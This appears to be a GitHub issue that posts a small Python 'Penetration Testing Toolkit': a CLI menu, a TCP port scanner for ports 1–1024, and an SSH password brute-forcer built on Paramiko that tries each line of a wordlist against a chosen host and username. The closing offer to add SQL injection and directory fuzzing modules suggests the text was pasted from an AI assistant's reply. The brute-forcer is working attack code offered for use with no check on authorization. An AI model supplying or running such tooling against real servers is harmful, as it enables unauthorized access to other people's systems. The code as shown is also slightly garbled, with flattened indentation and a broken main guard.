Skip to content

Penetration Testing Toolkit  #21

Description

@poorni286

Python-based modular Penetration Testing Toolkit that includes:

A Port Scanner

A Brute Forcer (basic for SSH using Paramiko)

Modular code structure

CLI interface

Comments for documentation


📁 File Structure (Recommended)

pen_test_toolkit/

├── main.py
├── port_scanner.py
├── brute_forcer.py
└── README.md


🔹 main.py

from port_scanner import run_port_scanner
from brute_forcer import run_brute_forcer

def main():
print("\n== Penetration Testing Toolkit ==")
print("1. Port Scanner")
print("2. Brute Forcer")
choice = input("Choose a module (1/2): ")

if choice == '1':
    target = input("Enter target IP or domain: ")
    run_port_scanner(target)
elif choice == '2':
    host = input("Enter SSH host: ")
    username = input("Enter SSH username: ")
    wordlist = input("Enter path to password wordlist: ")
    run_brute_forcer(host, username, wordlist)
else:
    print("Invalid choice.")

if name == "main":
main()


🔹 port_scanner.py

import socket

def run_port_scanner(target):
print(f"Scanning ports on {target}...")
open_ports = []

for port in range(1, 1025):
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(0.5)
            result = s.connect_ex((target, port))
            if result == 0:
                open_ports.append(port)
                print(f"[+] Port {port} is open")
    except Exception as e:
        print(f"[-] Error on port {port}: {e}")

if not open_ports:
    print("No open ports found.")

🔹 brute_forcer.py

import paramiko

def run_brute_forcer(host, username, wordlist_path):
print(f"Starting brute-force on {host} with username '{username}'...")
try:
with open(wordlist_path, 'r') as file:
passwords = file.readlines()

    for pwd in passwords:
        password = pwd.strip()
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        try:
            ssh.connect(host, username=username, password=password, timeout=3)
            print(f"[+] Password found: {password}")
            ssh.close()
            return
        except paramiko.AuthenticationException:
            print(f"[-] Incorrect: {password}")
        except Exception as e:
            print(f"[-] Error: {e}")
except FileNotFoundError:
    print("Wordlist file not found.")

📄 README.md (Documentation)

Penetration Testing Toolkit

Modules

  • Port Scanner: Scans top 1024 ports of a target IP/domain.
  • Brute Forcer: Attempts SSH brute-force using a wordlist.

Usage

$ python main.py

Requirements

Python 3.x

paramiko for SSH brute-force


pip install paramiko

---

Would you like to add more modules (like SQL Injection tester, Directory Fuzzer, etc.) or want this as a zip project file?

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions